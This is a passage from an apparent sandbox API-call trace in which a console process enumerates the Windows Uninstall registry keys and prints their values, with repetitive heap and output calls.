returned 0x1 [0148.068] lstrlenW (lpString="\n") returned 1 [0148.068] GetConsoleOutputCP () returned 0x1b5 [0148.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.068] GetConsoleOutputCP () returned 0x1b5 [0148.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x20 [0148.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.068] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.068] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033") returned 116 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xec) returned 0x302970 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] GetProcessHeap () returned 0x2e0000 [0148.068] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.069] GetProcessHeap () returned 0x2e0000 [0148.069] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.069] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.069] GetProcessHeap () returned 0x2e0000 [0148.069] GetProcessHeap () returned 0x2e0000 [0148.069] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.069] GetProcessHeap () returned 0x2e0000 [0148.069] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xec [0148.069] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.069] RegCloseKey (hKey=0x5c) returned 0x0 [0148.069] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1a, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.069] __iob_func () returned 0x7fefd702a80 [0148.069] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.069] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\n") returned 110 [0148.069] _fileno (_File=0x7fefd702ab0) returned 1 [0148.069] _errno () returned 0xc4bb0 [0148.069] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.069] _errno () returned 0xc4bb0 [0148.069] GetFileType (hFile=0x50) returned 0x1 [0148.069] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\n") returned 110 [0148.069] GetConsoleOutputCP () returned 0x1b5 [0148.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0148.072] GetConsoleOutputCP () returned 0x1b5 [0148.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\n", lpUsedDefaultChar=0x0) returned 110 [0148.072] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0148.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.073] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0148.073] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x1a, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.073] GetProcessHeap () returned 0x2e0000 [0148.073] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0148.073] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.073] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.073] GetProcessHeap () returned 0x2e0000 [0148.073] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.073] GetProcessHeap () returned 0x2e0000 [0148.073] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.073] GetProcessHeap () returned 0x2e0000 [0148.073] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.073] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.073] __iob_func () returned 0x7fefd702a80 [0148.073] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.073] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.073] _fileno (_File=0x7fefd702ab0) returned 1 [0148.073] _errno () returned 0xc4bb0 [0148.073] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.073] _errno () returned 0xc4bb0 [0148.073] GetFileType (hFile=0x50) returned 0x1 [0148.073] lstrlenW (lpString=" ") returned 4 [0148.073] GetConsoleOutputCP () returned 0x1b5 [0148.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.074] GetConsoleOutputCP () returned 0x1b5 [0148.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.074] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.074] __iob_func () returned 0x7fefd702a80 [0148.074] _fileno (_File=0x7fefd702ab0) returned 1 [0148.074] _errno () returned 0xc4bb0 [0148.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.074] _errno () returned 0xc4bb0 [0148.074] GetFileType (hFile=0x50) returned 0x1 [0148.074] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.074] GetConsoleOutputCP () returned 0x1b5 [0148.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0148.074] GetConsoleOutputCP () returned 0x1b5 [0148.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0148.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0148.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.074] __iob_func () returned 0x7fefd702a80 [0148.074] _fileno (_File=0x7fefd702ab0) returned 1 [0148.074] _errno () returned 0xc4bb0 [0148.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.074] _errno () returned 0xc4bb0 [0148.074] GetFileType (hFile=0x50) returned 0x1 [0148.075] lstrlenW (lpString=" ") returned 4 [0148.075] GetConsoleOutputCP () returned 0x1b5 [0148.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.075] GetConsoleOutputCP () returned 0x1b5 [0148.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.075] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.075] __iob_func () returned 0x7fefd702a80 [0148.075] _fileno (_File=0x7fefd702ab0) returned 1 [0148.075] _errno () returned 0xc4bb0 [0148.075] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.075] _errno () returned 0xc4bb0 [0148.075] GetFileType (hFile=0x50) returned 0x1 [0148.075] lstrlenW (lpString="REG_SZ") returned 6 [0148.075] GetConsoleOutputCP () returned 0x1b5 [0148.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.075] GetConsoleOutputCP () returned 0x1b5 [0148.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.076] __iob_func () returned 0x7fefd702a80 [0148.076] _fileno (_File=0x7fefd702ab0) returned 1 [0148.076] _errno () returned 0xc4bb0 [0148.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.076] _errno () returned 0xc4bb0 [0148.076] GetFileType (hFile=0x50) returned 0x1 [0148.076] lstrlenW (lpString=" ") returned 4 [0148.076] GetConsoleOutputCP () returned 0x1b5 [0148.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.076] GetConsoleOutputCP () returned 0x1b5 [0148.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.076] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.076] __iob_func () returned 0x7fefd702a80 [0148.076] _fileno (_File=0x7fefd702ab0) returned 1 [0148.076] _errno () returned 0xc4bb0 [0148.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.076] _errno () returned 0xc4bb0 [0148.076] GetFileType (hFile=0x50) returned 0x1 [0148.076] lstrlenW (lpString="") returned 0 [0148.076] __iob_func () returned 0x7fefd702a80 [0148.076] _fileno (_File=0x7fefd702ab0) returned 1 [0148.076] _errno () returned 0xc4bb0 [0148.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.076] _errno () returned 0xc4bb0 [0148.076] GetFileType (hFile=0x50) returned 0x1 [0148.077] lstrlenW (lpString="\n") returned 1 [0148.077] GetConsoleOutputCP () returned 0x1b5 [0148.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.077] GetConsoleOutputCP () returned 0x1b5 [0148.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.077] GetProcessHeap () returned 0x2e0000 [0148.077] GetProcessHeap () returned 0x2e0000 [0148.077] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.077] GetProcessHeap () returned 0x2e0000 [0148.077] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.077] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.077] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.077] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.077] GetProcessHeap () returned 0x2e0000 [0148.077] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.077] GetProcessHeap () returned 0x2e0000 [0148.077] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.077] GetProcessHeap () returned 0x2e0000 [0148.077] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.077] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.077] __iob_func () returned 0x7fefd702a80 [0148.077] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.077] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.078] _fileno (_File=0x7fefd702ab0) returned 1 [0148.078] _errno () returned 0xc4bb0 [0148.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.078] _errno () returned 0xc4bb0 [0148.078] GetFileType (hFile=0x50) returned 0x1 [0148.078] lstrlenW (lpString=" ") returned 4 [0148.078] GetConsoleOutputCP () returned 0x1b5 [0148.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.078] GetConsoleOutputCP () returned 0x1b5 [0148.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.078] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.078] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.078] lstrlenW (lpString="Comments") returned 8 [0148.078] __iob_func () returned 0x7fefd702a80 [0148.078] _fileno (_File=0x7fefd702ab0) returned 1 [0148.078] _errno () returned 0xc4bb0 [0148.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.078] _errno () returned 0xc4bb0 [0148.078] GetFileType (hFile=0x50) returned 0x1 [0148.078] lstrlenW (lpString="Comments") returned 8 [0148.078] GetConsoleOutputCP () returned 0x1b5 [0148.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.078] GetConsoleOutputCP () returned 0x1b5 [0148.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0148.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.079] __iob_func () returned 0x7fefd702a80 [0148.079] _fileno (_File=0x7fefd702ab0) returned 1 [0148.079] _errno () returned 0xc4bb0 [0148.079] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.079] _errno () returned 0xc4bb0 [0148.079] GetFileType (hFile=0x50) returned 0x1 [0148.079] lstrlenW (lpString=" ") returned 4 [0148.079] GetConsoleOutputCP () returned 0x1b5 [0148.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.079] GetConsoleOutputCP () returned 0x1b5 [0148.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.079] __iob_func () returned 0x7fefd702a80 [0148.079] _fileno (_File=0x7fefd702ab0) returned 1 [0148.079] _errno () returned 0xc4bb0 [0148.079] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.079] _errno () returned 0xc4bb0 [0148.079] GetFileType (hFile=0x50) returned 0x1 [0148.079] lstrlenW (lpString="REG_SZ") returned 6 [0148.080] GetConsoleOutputCP () returned 0x1b5 [0148.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.080] GetConsoleOutputCP () returned 0x1b5 [0148.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.080] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.080] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.080] __iob_func () returned 0x7fefd702a80 [0148.080] _fileno (_File=0x7fefd702ab0) returned 1 [0148.080] _errno () returned 0xc4bb0 [0148.080] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.080] _errno () returned 0xc4bb0 [0148.080] GetFileType (hFile=0x50) returned 0x1 [0148.080] lstrlenW (lpString=" ") returned 4 [0148.080] GetConsoleOutputCP () returned 0x1b5 [0148.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.081] GetConsoleOutputCP () returned 0x1b5 [0148.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.081] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.081] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.081] __iob_func () returned 0x7fefd702a80 [0148.081] _fileno (_File=0x7fefd702ab0) returned 1 [0148.081] _errno () returned 0xc4bb0 [0148.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.081] _errno () returned 0xc4bb0 [0148.081] GetFileType (hFile=0x50) returned 0x1 [0148.081] lstrlenW (lpString="") returned 0 [0148.081] __iob_func () returned 0x7fefd702a80 [0148.081] _fileno (_File=0x7fefd702ab0) returned 1 [0148.081] _errno () returned 0xc4bb0 [0148.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.081] _errno () returned 0xc4bb0 [0148.081] GetFileType (hFile=0x50) returned 0x1 [0148.081] lstrlenW (lpString="\n") returned 1 [0148.081] GetConsoleOutputCP () returned 0x1b5 [0148.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.081] GetConsoleOutputCP () returned 0x1b5 [0148.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.081] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.082] GetProcessHeap () returned 0x2e0000 [0148.082] GetProcessHeap () returned 0x2e0000 [0148.082] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.082] GetProcessHeap () returned 0x2e0000 [0148.082] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.082] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.082] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.082] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.082] GetProcessHeap () returned 0x2e0000 [0148.082] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.082] GetProcessHeap () returned 0x2e0000 [0148.082] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.082] GetProcessHeap () returned 0x2e0000 [0148.082] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.082] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", 